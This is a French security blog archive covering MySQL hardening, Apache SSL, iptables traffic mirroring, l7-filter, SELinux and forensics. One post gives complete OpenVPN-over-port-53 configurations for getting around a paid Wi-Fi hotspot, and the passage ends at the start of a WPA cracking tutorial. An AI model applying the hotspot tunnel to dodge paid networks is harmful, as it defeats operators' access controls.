SYN, SYN-ACK, ACK …

Steal This Blog

Archives Posts

Nuit du hack 2008

juin 14th, 2008 by Corbier

Nous sommes donc le jour tant attendu, ce soir c’est du plaisir,

Nouvelle année, nouveaux locaux et nouveaux programmes, la nuit du hack revient du 14 au 15 Juin à Orsay avec au programme :
- des conférences sur l’actualité underground et la sécurité informatique ;
- un challenge Hacking codé spécialement pour l’occasion par nos rooteurs sur pattes ;
- divers concours avec de nombreux lots à gagner ;

Les conf :

Horaires Sujet Conférencier
18H-19H Nitendo DS Virtualabs
19H-20H Scapy Nono2357
20H-21H Exploitation kernel Ivanlef0u
21H-22H Securité physique Virtualabs’ Brother
22H-23H BackTrack 3 Final Shaman virtuel

Donc du plaisir j’attends avec impatience la conférence sur scappy de l’ami Nono2357, conférence que j’avais le plaisir de voir lors des python days. J’ai entendu dire de source plus ou moins sur (il se reconnaîtra) que la conférence de la nuit du hack sera beaucoup poussé techniquement.

Je vous posterai les photos dans la semaine.

Pourquoi un tel post sur le planet-libre ?

Tout simplement car je pense que le hacking dans son sens premier entre pleinement dans la philosophie du libre.

Archives Posts

Mirroring de traffic via iptables [Debian Etch]

juin 5th, 2008 by Corbier

This option adds a `ROUTE’ target, which enables you to setup unusual

routes. For example, the ROUTE lets you route a received packet through

an interface or towards a host, even if the regular destination of the

packet is the router itself. The ROUTE target is also able to change the

incoming interface of a packet.

To copy (duplicate) all traffic from and to a local ECHO server to a second box (nonfinal target)

iptables -A PREROUTING -t mangle -p tcp –dport 7 -j ROUTE –gw 1.2.3.4 –tee

iptables -A POSTROUTING -t mangle -p tcp –sport 7 -j ROUTE –gw 1.2.3.4 –tee

Afin d’activer la cible route pour iptables il est nécéssaire de recompiler l’ensemble « noyau + iptables »

Nous allons donc préparer notre environnement de travail.

apt-get install linux-source-2.6.18 gcc make ncurses-dev
cd /usr/src
tar -xvjf linux-source-2.6.18.tar.bz2
ln -s linux-source-2.6.18 linux

On télécharge les sources d’iptables et on les décompresses

wget http://www.netfilter.org/projects/iptables/files/iptables-1.3.6.tar.bz2

tar -xjpf iptables-1.3.6.tar.bz2

On peut maintenant télécharger le patch-o-matic :

wget http://ftp.netfilter.org/pub/patch-o-matic-ng/snapshot/patch-o-matic-ng-20070728.tar.bz2

tar xvjf patch-o-matic-ng-20070728.tar.bz2

cd patch-o-matic-ng-20070728

Nous devons spécifié le dossier des sources d’iptables

IPTABLES_DIR=/usr/src/iptables-1.3.6 ./runme ROUTE

Hey! KERNEL_DIR is not set.

Where is your kernel source directory? [/usr/src/linux]

Loading patchlet definitions…………….. done

Welcome to Patch-o-matic ($Revision: 6736 $)!

Kernel: 2.6.18, /usr/src/linux

Iptables: 1.3.6, /usr/src/iptables-1.3.6

Each patch is a new feature: many have minimal impact, some do not.

Almost every one has bugs, so don’t apply what you don’t need!

——————————————————-

Already applied:

Testing ROUTE… not applied

The ROUTE patch:

Author: Cédric de Launois <delaunois@info.ucl.ac.be>

Status: Experimental

This option adds a `ROUTE’ target, which enables you to setup unusual

routes. For example, the ROUTE lets you route a received packet through

an interface or towards a host, even if the regular destination of the

packet is the router itself. The ROUTE target is also able to change the

incoming interface of a packet.

The target can be or not a final target. It has to be used inside the

mangle table.

ROUTE target options:

–oif ifname Send the packet out using `ifname’ network interface.

–iif ifname Change the packet’s incoming interface to `ifname’.

–gw ip Route the packet via this gateway.

–continue Route the packet and continue traversing the rules.

–tee Route a copy of the packet, but continue traversing

the rules with the original packet, undisturbed.

Note that –iif, –continue, and –tee, are mutually exclusive.

Examples :

# To force all outgoing icmp packet to go through the eth1 interface

# (final target) :

iptables -A POSTROUTING -t mangle -p icmp -j ROUTE –oif eth1

# To tunnel outgoing http packets and continue traversing the rules :

iptables -A POSTROUTING -t mangle -p tcp –dport 80 -j ROUTE –oif tunl1 –continue

# To forward all ssh packets to gateway w.x.y.z, and continue traversing

# the rules :

iptables -A POSTROUTING -t mangle -p tcp –dport 22 -j ROUTE –gw w.x.y.z –continue

# To change the incoming network interface from eth0 to eth1 for all icmp

# packets (final target) :

iptables -A PREROUTING -t mangle -p icmp -i eth0 -j ROUTE –iif eth1

# To copy (duplicate) all traffic from and to a local ECHO server

# to a second box (nonfinal target)

iptables -A PREROUTING -t mangle -p tcp –dport 7 -j ROUTE –gw 1.2.3.4 –tee

iptables -A POSTROUTING -t mangle -p tcp –sport 7 -j ROUTE –gw 1.2.3.4 –tee

—————————————————————–

Do you want to apply this patch [N/y/t/f/a/r/b/w/q/?] y

Excellent! Source trees are ready for compilation.

Nous pouvons maintenant compiler le noyau

cd /usr/src/linux

make oldconfig

Quelques librairies sont rapidement indispensable ;o)

apt-get install kernel-package

Et c’est partie pour de la compilation

make-kpkg clean

make-kpkg –initrd kernel_image kernel_headers

make-kpkg –initrd kernel_image

Une fois la compilation effectué il faut installer et booter sur le noyau.

dpkg –i monnoyau.deb

Vérifiez votre /boot/grub/menu.lst afin de voir si votre nouveau noyau apparait.

Ensuite Reboot

Pour monitorer tout le trafic entrant vers une ip (Un IDS par exemple J) utiliser la règle iptables suivante :

iptables -A POSTROUTING -t mangle -p tcp –sport 7 -j ROUTE –gw 1.2.3.4 –tee

Nous verrons dans un prochain billet comment utiliser ce trafic avec un IDS.

Archives Posts

Sécurité mysqld

mai 29th, 2008 by Corbier

Définition du mot de passe root mysql :

mysql> SET PASSWORD FOR root@localhost=PASSWORD(‘new_password’);

Query OK, 1 row affected (0.00 sec)

Lors de l’installation mysqld créée deux users avec  » en nom de user et  » en password il faut les supprimer.

mysql> DELETE FROM mysql.user WHERE user= » or pass  »;

Suppression des utilisateurs inutiles :

mysql> DELETE FROM user WHERE Host=’monhost’ AND User=’monuser’;

Query OK, 1 row affected (0.00 sec)

Ainsi que les mots de passe vides :

mysql> DELETE FROM user WHERE Password= »;

Query OK, 2 rows affected (0.00 sec)

La base de donné test créée par mysql à l’installation est inutile.

mysql> DROP DATABASE test;

Query OK, 0 rows affected (0.00 sec)

Par défaut, la base test et toutes les bases commençant par « test_ » sont accessibles par tous.

mysql> DELETE FROM db WHERE db=’test’ OR db=’test\_%’;

Query OK, 2 rows affected (0.00 sec)

Afin d’activé les modifications il est nécessaire de recharger les privilèges

mysql> FLUSH PRIVILEGES;

Query OK, 0 rows affected (0.00 sec)

Privilèges

Afin de garantir la confidentialité des données et des utilisateurs. Il faut autoriser les différents utilisateurs à se connecter et à modifier uniquement leurs bases de données. Nous utilisons la commande GRANT.

GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,ALTER,DROP ON userdb.* TO someuser@ »% » IDENTIFIED BY « pwd »;

Lister les bases de données

A l’aide de la commande SHOW DATABASES, un utilisateur lister toutes les bases de données du serveur.

mysql -u someuser -p

Enter password:

mysql> show databases;

+——————–+

| Database |

+——————–+

| mysql |

| someuserdb |

+——————–+

Il est possible de désactiver cette commande. Cependant il serait judicieux d’autoriser l’utilisateur à lister que les bases de données sur lesquelles il a des droits. Dans le fichier my.cnf, dans la section mysqld, ajouter safe-show-database.

mysql -u someuser -p

Enter password:

mysql> show databases;

+———-+

| Database |

+———-+

| someuserdb |

+———-+

Restriction réseau

Afin de limiter l’écoute du deamon mysql à une interface, utilisez bind-address.

netstat -lataupen |grep 3306

tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 27 19963 7045/mysqld

Si aucune connexion réseau n’est requise, on peux la supprimer avec –skip-networking.

Chrooter Mysql

Malgré toutes ces modifications, nous ne sommes pas à l’abri d’un exploit sur le service mysqld. Il apparait donc nécessaire de chrooter mysqld. Ceci fait, mysqld ne pourra pas accéder à l’ensemble du disque. Il restera dans sa nouvelle racine.

Nous allons donc créer l’arborescence :

mkdir -p /chroot/mysql/var/lib/

cd /chroot/mysql

mkdir -p var/run etc tmp

chmod 1777 tmp

Ensuite nous allons recréer l’environnement de mysql et les bases nécessaires

grep « mysql: » /etc/passwd > etc/passwd

mv /var/lib/mysql var/lib/

ln -s /chroot/mysql/var/lib/mysql/ /var/lib/mysql

mv /var/run/mysqld var/run

ln -s /chroot/mysql/var/run/mysqld/ /var/run/mysqld

Enfin, nous ajoutons les librairies de mysqld.

[root@localhost mysql]# ldd /usr/libexec/mysqld
librt.so.1 => /lib64/librt.so.1 (0×0000003d59200000)
libz.so.1 => /usr/lib64/libz.so.1 (0×0000003d58600000)
libdl.so.2 => /lib64/libdl.so.2 (0×0000003d57a00000)
libssl.so.6 => /lib64/libssl.so.6 (0×0000003d65400000)
libcrypto.so.6 => /lib64/libcrypto.so.6 (0×0000003d61600000)
libpthread.so.0 => /lib64/libpthread.so.0 (0×0000003d58200000)
libcrypt.so.1 => /lib64/libcrypt.so.1 (0×0000003d6a000000)
libnsl.so.1 => /lib64/libnsl.so.1 (0×0000003d5b200000)
libstdc++.so.6 => /usr/lib64/libstdc++.so.6 (0×0000003d69c00000)
libm.so.6 => /lib64/libm.so.6 (0×0000003d57e00000)
libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0×0000003d69800000)
libc.so.6 => /lib64/libc.so.6 (0×0000003d57600000)
/lib64/ld-linux-x86-64.so.2 (0×0000003d57200000)
libgssapi_krb5.so.2 => /usr/lib64/libgssapi_krb5.so.2 (0×0000003d63400000)
libkrb5.so.3 => /usr/lib64/libkrb5.so.3 (0×0000003d63800000)
libcom_err.so.2 => /lib64/libcom_err.so.2 (0×0000003d5e200000)
libk5crypto.so.3 => /usr/lib64/libk5crypto.so.3 (0×0000003d5fa00000)
libkrb5support.so.0 => /usr/lib64/libkrb5support.so.0 (0×0000003d5fe00000)
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0×0000003d64000000)
libresolv.so.2 => /lib64/libresolv.so.2 (0×0000003d5ce00000)
libselinux.so.1 => /lib64/libselinux.so.1 (0×0000003d58e00000)
libsepol.so.1 => /lib64/libsepol.so.1 (0×0000003d58a00000)

mkdir -p lib64/ usr/lib64

cp /lib64/librt.so.1 /lib64/libdl.so.2 /lib64/libcrypto.so.6 /lib64/libpthread.so.0 /lib64/libcrypt.so.1 /lib64/libnsl.so.1 /lib64/libm.so.6 /lib64/libgcc_s.so.1 /lib64/libc.so.6 /lib64/ld-linux-x86-64.so.2 /lib64/libcom_err.so.2 /lib64/libkeyutils.so.1 /lib64/libresolv.so.2 /lib64/libselinux.so.1 /lib64/libsepol.so.1 lib64/

cp /usr/lib64/libz.so.1 /usr/lib64/libstdc++.so.6 /usr/lib64/libgssapi_krb5.so.2 /usr/lib64/libkrb5.so.3 /usr/lib64/libk5crypto.so.3 /usr/lib64/libkrb5support.so.0 usr/lib64/

Il faut aussi ajouter les librairies nécessaires à la résolution de noms

cp /lib/libnss_compat.so.2 /lib/libnss_files.so.2 lib64

Il nous reste à compléter la nouvelle racine dans le fichier my.cnf

/etc/my.cnf: chroot=/chroot/mysql

Filed under Linux, Securité having 1 Comment »

Archives Posts

Apache2 et SSL

mai 15th, 2008 by julio

Durant mon stage, j’ai été amené à créer une page web Apache avec SSL.

Depuis la version 2.2 d’Apache, la commande « apache2-certificate-ssl » n’existe plus, ce qui permettait la création de certificat. Du coup, on reprend les bonnes manières, à vous les fanas du terminal. Pour pouvoir créer un certificat, il faut biensûr le paquet openssl.

Voici un script permettant de créer le certificat :


openssl req -config openssl.cnf -new -out site.csr
openssl rsa -in privkey.pem -out site.key
openssl x509 -in site.csr -out site.cert -req -signkey site.key -days 365
openssl x509 -in site.cert -out site.der.crt -outform DER

Activez le module SSL :
a2enmod ssl

Rajouter le port 443 au fichier ports.conf :
Listen 80
Listen 443

Rajouter ces lignes au fichier apache2.conf :

SSLMutex default
SSLRandomSeed startup builtin
SSLSessionCache none

Lors d’une création de virtualhost rajouter ces lignes :
SSLEngine On
SSLCertificateFile /etc/apache2/ssl/site.cert
SSLCertificateKeyFile /etc/apache2/ssl/site.key

Vérifier si le module est bien activé dans /etc/apache2/mods-enabled/

ssl.conf
ssl.load

Filed under Linux, Securité, system having 11 Comments »

Archives Posts

Forensic sur log apache avec pyflag

avril 17th, 2008 by Corbier

Contexte

Dans le cadre de mon travail je suis parfois obliger de faire des retours sur incident dans le cadre de dysfonctionement ou d’attaque.

J’ai donc choisi d’utiliser pyflag.

L’installation se fait facilement a coup de ./configure make make install

Récupération des log’s

J’ai donc récupéré les logs httpd sur le serveur du client ainsi que les logs tomcat. Le problême constaté est que le service tomcat tombe régulièrement (genre tous les deux jours).

Une fois pyflag configuré, il nous reste à nous connecter à l’adresse http://127.0.0.1:8000

Afin d’intégrer les log apache, il est nécessaire de créer un log Preset qui contiendra l’ensemble des log à analyser.

Un assistant apparaît pour injecter les logs. Quelques points me semble essentiel.

Sélectionnez Apache Log ;)

Ainsi que le format debian_forensic cliquez sur next et les logs apparaissent sous la forme de tableau

Ensuite il nous reste a nommer notre preset.

Cliquez sur Load a Log file

Sélectionner les logs a injecter dans le base mysql

L’upload est assez rapide.

Je peux donc travailler sur mes log’s

La suite au prochaine épisode :p

Archives Posts

L7-Filter Installation (partie 1)

avril 11th, 2008 by Corbier

J’avais fait un précédent billet sur l7-filter mais il n’est plus à jour. J’ai donc décidé d’en refaire un nouveau pour debian Etch noyau 2.6.18 avec iptables-1.3.5

L7-Filter o_O ?

C’est un module pour netfilter servant à filtrer le trafic par applicatif. L’utilisation se fait à l’aide d’expression régulière (pattern) servant de prise d’empreinte pour les protocoles.

Dans un premier temps installons les outils nécessaires à la compilation de noyau.

apt-get install build-essential fakeroot kernel-package

Puis installons les sources du noyau.

apt-get install linux-source-2.6.18

Maintenant que les sources sont téléchargé dans /usr/src il faut les extraire.

cd /usr/src & tar xvjf linux-source-2.6.18.tar.bz2

Créons un lien symbolique vers les sources.

ln -s linux-source-2.6.18 linux

Il faut maintenant télécharger l7-filter

wget http://switch.dl.sourceforge.net/sourceforge/l7-filter/netfilter-layer7-v2.17.tar.gz

tar xvzf netfilter-layer7-v2.17.tar.gz

Afin de profiter des fonctionnalités de l7filter il faut patcher le noyau.

cp netfilter-layer7-v2.17/for_older_kernels/kernel-2.6.18-2.6.19-layer7-2.9.patch linux

cd linux

Procédons au patch.

patch -p1 < kernel-2.6.18-2.6.19-layer7-2.9.patch

cd ..

Il faut ensuite préparer iptables à recevoir l7-filter. Pour ce faire téléchargeons les sources afin de les patcher.

wget http://ftp.netfilter.org/pub/iptables/snapshot/iptables-1.3.5-20061006.tar.bz2 & tar xvjf iptables-1.3.5-20061006.tar.bz2

Copions le patch

cp netfilter-layer7-v2.17/iptables-1.3-for-kernel-pre2.6.20-layer7-2.17.patch iptables-1.3.5-20061006/

cd iptables-1.3.5-20061006

patch -p1 < iptables-1.3-for-kernel-pre2.6.20-layer7-2.17.patch

Ensuite il faut installer iptables patché dans les sources du noyau.

chmod +x extensions/.layer7-test

make KERNEL_DIR=/usr/src/linux

make install KERNEL_DIR=/usr/src/linux

cd..

Enfin il nous reste à activer les modules afin de compiler le noyau.

cd linux

make menuconfig

Comme l’indique la doc, il faut activer les modules suivants :

* EXPERIMENTAL (Code maturity level options & Prompt for development and/or incomplete code/drivers)
* Netfilter (Device Drivers &Networking support & Networking Options & Network packet filtering)
* Connection tracking (Network packet filtering & IP: Netfilter Configuration & Connection tracking)
* “Connection tracking flow accounting” and “IP tables support” (on the same screen)
* And finally, “Layer 7 match support”
* Optional: Lots of other Netfilter options, ntably “FTP support” and other matches. If you don’t know what you’re doing, go ahead and enable all of them.

Il faut ensuite compiler les sources du noyau et créez les packages .deb.

make-kpkg

fakeroot make-kpkg –append-to-version=.666666 –initrd kernel_image

Et c’est parti pour une longue compilation.

Une fois ceci fait nous avons les packages dans /usr/src

linux-doc-2.6.18.181004_2.6.18.181004-10.00.Custom_all.deb

linux-image-2.6.18.181004_2.6.18.181004-10.00.Custom_i386.deb

linux-manual-2.6.18.181004_2.6.18.181004-10.00.Custom_all.deb

linux-source-2.6.18.181004_2.6.18.181004-10.00.Custom_all.deb

Installons-les.

dpkg -i *.deb

Un reboot est nécessaire. N’oubliez pas de vérifier dans votre /boot/grub/menu.lst que le noyau est disponible ;)

Une fois rebooté regardons les commandes disponibles pour l7filter

iptables -m layer7 –help

iptables v1.3.8-20071014

LAYER7 match v1.3.8-20071014 options:

–l7dir <directory> : Look for patterns here instead of /etc/l7-protocols/

(–l7dir must be specified before –l7proto if used!)

–l7proto [!] <name> : Match the protocol defined in /etc/l7-protocols/name.pat

Il est donc possible de modifier le path de recherche des patterns via –l7dir

Ainsi que spécifier un protocole via – -l7proto

Justement jetons un coup d’œil a ces fameux patterns.

Il faut les télécharger et les installer.

wget http://surfnet.dl.sourceforge.net/sourceforge/l7-filter/l7-protocols-2008-02-20.tar.gz

tar xzf l7-protocols-2008-02-20.tar.gz

cd l7-protocols-2008-02-20

make install

cd /etc/l7-protocols/protocols/

Prenons par exemple le protocole http.

Voici le pattern http qui match ce protocole.

http/(0\.9|1\.0|1\.1) [1-5][0-9][0-9] [\x09-\x0d -~]*(connection:|content-type:|content-length:|date:)|post [\x09-\x0d -~]* http/[01]\.[019]

On voit qu’en fait l7-filter match sur les entêtes http. Ce qui nous indique bien qu’il s’agisse du protocole http

Cependant selon la documentation :

  • l7-filter matching isn’t foolproof: there may be both false positives (one protocol can look like another) and false negatives (applications can do obscure things that we didn’t count on). Patterns that are known to regularly generate false positives are marked « overmatching » on the protocols page, but others may also do so occasionally.
  • Almost every type of Internet traffic has legitimate uses. For instance, P2P protocols, while widely used to violate copyright, are also an efficient way to distribute open source software and legally free music.
  • Programs can respond to being blocked by port-hopping, switching between TCP and UDP, opening a new connection for every trivial operation, using encryption, or employing other evasion tactics. Trying to block such protocols has consequences on two levels:
    1. In the case of port/protocol-hopping, you make it harder for yourself to identify protocols that already act this way.
    2. You encourage programmers to include these « features » in new programs, making it harder for everyone in the future. For example: In early 2006, Bittorrent started moving towards end-to-end encryption because many networks were either blocking it or severely restricting its bandwidth.
  • l7-filter patterns are not generally designed with blocking in mind. We consider a protocol to be well identified if the identification is useful for controlling its bandwidth. This means, for instance, that for P2P applications, we do not focus on catching connections that are not downloads.
  • Blocking with l7-filter provides no security, since any reasonably determined person can easily circumvent it.

Considérant ceci il semblerait que l7-filter soit plus utiliser dans le cadre de restriction de bande passante.

Dans un prochaine article nous verrons le traffic control sous linux avec l7filter.

Archives Posts

Nuit du Hack 2008

mars 27th, 2008 by Corbier

Nouvelle édition de la Nuit du Hack 2008, le 14 et 15 Juin.

Pour plus d’info ==> http://www.nuitduhack.com/

J’ai déjà fait les deux précédentes, je vous invite à participer activement a celle-ci.

Filed under Securité having 6 Comments »

Archives Posts

CentOs et SElinux

mars 16th, 2008 by Corbier

Selon Wikipedia,

Security-Enhanced Linux, abrégé SELinux, est un LSM (Linux security module), qui permet de définir une politique d’accès MAC (mandatory access control) aux éléments d’un système basé sur Linux. Initié par la NSA sur la base de travaux menés avec SCC et l’université d’Utah aux USA (prototypes DTMach, DTOS, projet FLASK), son architecture dissocie l’application de la politique d’accès et sa définition. Il permet notamment de classer les applications d’un système, en différents groupes, avec des niveaux d’accès plus fins. Il permet aussi d’attribuer un niveau de confidentialité pour l’accès à des objets systèmes, comme des descripteurs de fichier, selon un modèle de sécurité multi-niveaux MLS (Multi level Security). SELinux utilise le modèle Bell LaPadula avec Type enforcement de SCC pour l’intégrité. Il s’agit d’un logiciel libre, certaines parties étant sous licences GNU GPL ou BSD.

Sous un système Linux classique le contrôle d’accès est dit de type DAC Discretionary Access Control Ce type de controle d’accès vérifie simplement le propriétaire, le groupe, et les autres (les autres désignent tout ce qui ne fait pas partie du propriétaire et du groupe) en se basant sur le GID et l’UID.

Cependant, les limites de ce système de permission est facile à définir. Imaginons que nous avons un compte sur une système type Linux. Un compte utilisateur avec tout les permissions qui l’en découle. Lorsque ce compte user exécute un processus, le processus hérite des droits du compte user mais aussi de tous ses privilèges.

Transposons ce modèle dans un autre contexte. Je travaille avec un collègue sur un projet professionnelle, et il hérite donc de mes privilèges et droit dans l’environnement professionnel mais il hérite également du droit de rentrer chez moi, dormir dans mon lit etc … Inacceptable non ?

Il est donc impensable de donnez tout les droits en se basant uniquement sur l’UID et le GID. Il faut intégrer une notion fondamentale dans la gestion de sa sécurité : le contexte.

Voici un exemple de droit classique linux.

[root@CentOs www]# ls -l
total 48
drwxr-xr-x 2 root root 4096 jan 16 02:36 cgi-bin
drwxr-xr-x 3 root root 4096 mar 12 22:38 error
drwxr-xr-x 3 root root 4096 mar 16 12:19 html
drwxr-xr-x 3 root root 4096 mar 12 22:38 icons
drwxr-xr-x 14 root root 4096 mar 12 22:42 manual
drwxr-xr-x 2 webalizer root 4096 mar 14 04:02 usage

Et voici les droits SELinux

drwxr-xr-x root root system_u:object_r:httpd_sys_script_exec_t cgi-bin
drwxr-xr-x root root system_u:object_r:httpd_sys_content_t error
drwxr-xr-x root root system_u:object_r:httpd_sys_content_t html
drwxr-xr-x root root system_u:object_r:httpd_sys_content_t icons
drwxr-xr-x root root system_u:object_r:httpd_sys_content_t manual
drwxr-xr-x webalizer root system_u:object_r:httpd_sys_content_t usage

Ce qui m’intéresse c’est httpd_sys_content_t. C’est a dire que le répertoire html est accessible par l’utilisateur apache uniquement lors du contexte d’utilisation du deamon httpd.

Un utilisateur usurpant ou détournant l’identité d’apache n’aura pas accès au répertoire html car il sortira du contexte d’utilisation du deamon httpd. Fabuleux non ?

Pour le reste, je vous laisse avec l’utilisation de la commande chcon pour modifier les contextes et les permissions de SELinux.

Donc.

man chcon

Archives Posts

ByPass Hotspot Neuf (Chillspot)

décembre 29th, 2007 by Corbier

Avec l’arrivée et la multiplication des hotspots, il devient néccéssaire d’avoir un compte sur les hotspots ou pas…

Afin de ByPass l’accès réseau. Qui se base sur votre compte en banque. Nous avons cherché un moyen de « sortir » du hotspot.

Sachant que le protocole dns étant le seul protocole autorisé a sortir. Nous avons donc constater que le tunneling serait je pense la meilleur solution.

Pour réussir, Il vous faut.

Un serveur VPN, et un laptop evidement.

Nous avons choisi openvpn en mode static key afin de géré cette connection.

Voici la configuration ip du server vpn

br0 Link encap:Ethernet HWaddr 00:18:39:AE:73:A7
inet addr:192.168.30.254 Bcast:192.168.30.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC ALLMULTI MULTICAST MTU:1500 Metric:1
RX packets:231701 errors:0 dropped:0 overruns:0 frame:0
TX packets:142476 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:13696143 (13.0 MiB) TX bytes:92534590 (88.2 MiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MULTICAST MTU:16436 Metric:1
RX packets:1300 errors:0 dropped:0 overruns:0 frame:0
TX packets:1300 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:139429 (136.1 KiB) TX bytes:139429 (136.1 KiB)

tun0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:10.10.10.10 P-t-P:10.10.10.11 Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
RX packets:542 errors:0 dropped:0 overruns:0 frame:0
TX packets:368 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:38381 (37.4 KiB) TX bytes:239530 (233.9 KiB)

vlan1 Link encap:Ethernet HWaddr 00:18:39:AE:73:A8
inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC ALLMULTI MULTICAST MTU:1500 Metric:1
RX packets:75864 errors:0 dropped:0 overruns:0 frame:0
TX packets:49847 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:84198507 (80.2 MiB) TX bytes:5662097 (5.3 MiB)

On considère que l’interface vlan1 est l’interface public du server vpn. tun0 est l’interface virtuel d’entrée du vpn.

Voici le fichier de conf du server vpn

dev tun
ifconfig 10.10.10.10 10.10.10.11
secret /tmp/static.key
comp-lzo
port 53
verb 3

Pour plus d’info sur la configuration du vpn ici

Il faut copié cette clé sur le laptop que servira de client.

Il faut aussi activé le nat su le server vpn

iptables -t nat -A POSTROUTING -o vlan1 -j MASQUERADE

Voici le fichier de conf du client

dev tun
remote ipwanduservervpn
ifconfig 10.10.10.11 10.10.10.10
port 53
secret static.key
proto tcp-client
comp-lzo
route 192.168.30.0 255.255.255.0

Il vous reste plus qu’a vous connecter au hotspot dans votre gare préféré et de lancer votre connect vpn

et hop vous êtes chez vous :p

Filed under Linux, Securité, iptables having 12 Comments »

Archives Posts

l7-filter (suite)

décembre 14th, 2007 by Corbier

Suite à un précédent billet sur l7-filter

J’ai préparé des packets noyau 2.6.18 avec iptables l7 filter compilé prête à l’emploi.

Ils sont disponible sur le dépot http://corbier.homelinux.com/deb/l7-filter/

Faites-en bon usage.

J’ai aussi découvert une manière de cloner les disques virtuels via un outil disponible dans le paquet VirtualBox

VBoxManage clonevdi Master.vdi clone.vdi

En effet, la copie simple ne fonctionne pas (problème d’uuid).

Une autre manipulation peut être intéressante. On peut « compacter » un disque VDI.

VBoxManage modifyvdi Debian-l7-filter.vdi compact

Archives Posts

Déménagement chez tuxfamily

décembre 2nd, 2007 by Corbier

/home/corbier

Déménagement chez tuxfamily pratiquement terminé. J’en profite pour divulguer mon sujet de thèse « La sécurité préventive » vaste programme.

:D

J’en profite pour vous poster aussi un script de mon cru. Un scanner de port TCP écrit en perl.

Download

Alors je vous préviens de suite, c’est l’une de mes premiers prog en perl donc soyez indulgent c’est du low-level …

Donc ce scanner fait une détection de service sur le N° de port. Il s’appuie sur /etc/services. Les résultats sont donc à prendre avec des pincettes.

Vous pouvez en faire ce que vous voulez le modifier, le mettre sur votre site, l’envoyer à votre grand mère etc…

edit: ah j’oubliais le thème est provisoire, barbu inside ;)

Archives Posts

L7filter ou comment iptables remonte couche 7

décembre 1st, 2007 by Corbier

Pour pouvoir faire un filtrage efficace il ne faut pas que s’appuyer sur les ports, en effet un firewall efficace doit pouvoir remonter jusqu’a la couche 7 du modele osi (la couche application), pour par exemple bloqué les protocole p2p ou les jeux en lignes.

Une solution existe sous linux c’est un module d’iptable: ‘l7-filter’.

Voici un exemple d’installation sur debian sarge.

Il faut tout d’abord savoir avec quelle noyau vous voulez l’installez

moi j’ai choisi le ‘2.6.15′

Comme la doc l’indique il faut tout d’abort installer les outils de compilation et de manipulation du noyau

sudo apt-get install build-essential fakeroot kernel-package

Il est ensuite préférable de ne pas compiler en root, il faut donc ajouter son utilisateur aux groupes src

adduser mon_user src

Il faut ensuite chercher les sources de son noyau ou du noyau choisi

apt-cache search linux-source

et l’installer avec apt-get

sudo apt-get install linux-source-2.6.15

ensuite on decompresse les sources ( notez que les N° de version du noyau sont a adapté selon votre cas d’utilisation)

cd /usr/src

rm linux

On se place dans /usr/src et on supprime le lien symbolique si il existe deja

tar -xjvf linux-source-2.6.15.tar.bz2

ln -s linux-source-2.6.15 linux

on décompresse et on recréez le lien symbolique

Bon notre noyau est pret à etre modifier

On télécharge le patch L7-filter

http://sourceforge.net/project/showfile … p_id=80085

Layer 7 Patches

wget http://umn.dl.sourceforge.net/sourceforge/l7-filter/netfilter-layer7-v2.2.tar.gz

Telecharge le patch

On telecharge les sources d’iptables

wget http://netfilter.org/projects/iptables/files/iptables-1.3.5.tar.bz2

on extrait les deux archives

tar -xzvf netfilter-layer7-v2.2.tar.gz && tar -xjvf iptables-1.3.5.tar.bz2

ensuite copy le patch pour le noyau et pour iptables

cp netfilter-layer7-v2.2/kernel-2.6.13-2.6.16-layer7-2.2.patch linux && cp netfilter-layer7-v2.2/iptables-layer7-2.2.patch iptables-1.3.5

on applique le patch au noyau

cd linux
patch -p1 < kernel-2.6.13-2.6.16-layer7-2.2.patch
cd ..

on patch également les sources d’iptables

cd iptables-1.3.5
patch -p1 < iptables-layer7-2.2.patch

ensuite on install le iptables patché dans les sources du noyau make KERNEL_DIR=/usr/src/linux

make install KERNEL_DIR=/usr/src/linux

Voila il nous reste plus qu’a activer ces modules pour la compilation du noyau

cd ../linux
make menuconfig

maintenant il reste a activer les modules suivant comme l’indique la doc l7-filter

* EXPERIMENTAL (Code maturity level options & Prompt for development and/or incomplete code/drivers)
* Netfilter (Device Drivers &Networking support & Networking Options & Network packet filtering)
* Connection tracking (Network packet filtering & IP: Netfilter Configuration & Connection tracking)
* « Connection tracking flow accounting » and « IP tables support » (on the same screen)
* And finally, « Layer 7 match support »
* Optional: Lots of other Netfilter options, ntably « FTP support » and other matches. If you don’t know what you’re doing, go ahead and enable all of them.

sauvegarder le tout et installer comme le spécifie la doc apt-get install cramfsprogs initrd-tools il nous reste a concevoir les packages .deb attention cela peut etre long selon la puissance de votre machine

« fakeroot make-kpkg append-to-version=.181004 kernel_image initrd binary »

maintenant que la compilation a été effectuer avec succes il faut l’installer

cd ..

dpkg -i kernel-image-2.6.15.181004_10.00.Custom_i386.deb

Voila qui est fait il nous reste a rebooter sur le noyau et a installer les protocoles générique de l7-filter

Un fois redémarrez telecharger les protocoles

wget http://superb-west.dl.sourceforge.net/sourceforge/l7-filter/l7-protocols-2006-05-29.tar.gz

on décompresse

tar -xzvf l7-protocols-2006-05-29.tar.gz

et on l’install

cd l7-protocols-2006-05-29
make install

Voila c’est terminer vous pouvez utiliser l7-filter en modules d’iptables

pour la syntax c’est basique

iptables specify table & chain -m layer7 –l7proto name of protocol -j action

par exemple

iptables -I INPUT -m layer7 –l7proto http -j drop

redirigeras tout les paquets http en entrer vers /dev/null

Enjoy :p

Archives Posts

WPA1 / WPA2 PSK / Cracking

juillet 19th, 2007 by Corbier

Dans un premier temps, il faut installer aircrack-ng.

Nous allons passer la carte wifi en mode monitor c’est a dire (la carte écoute tous les paquets wireless même ceux qui ne lui sont pas destiné.)

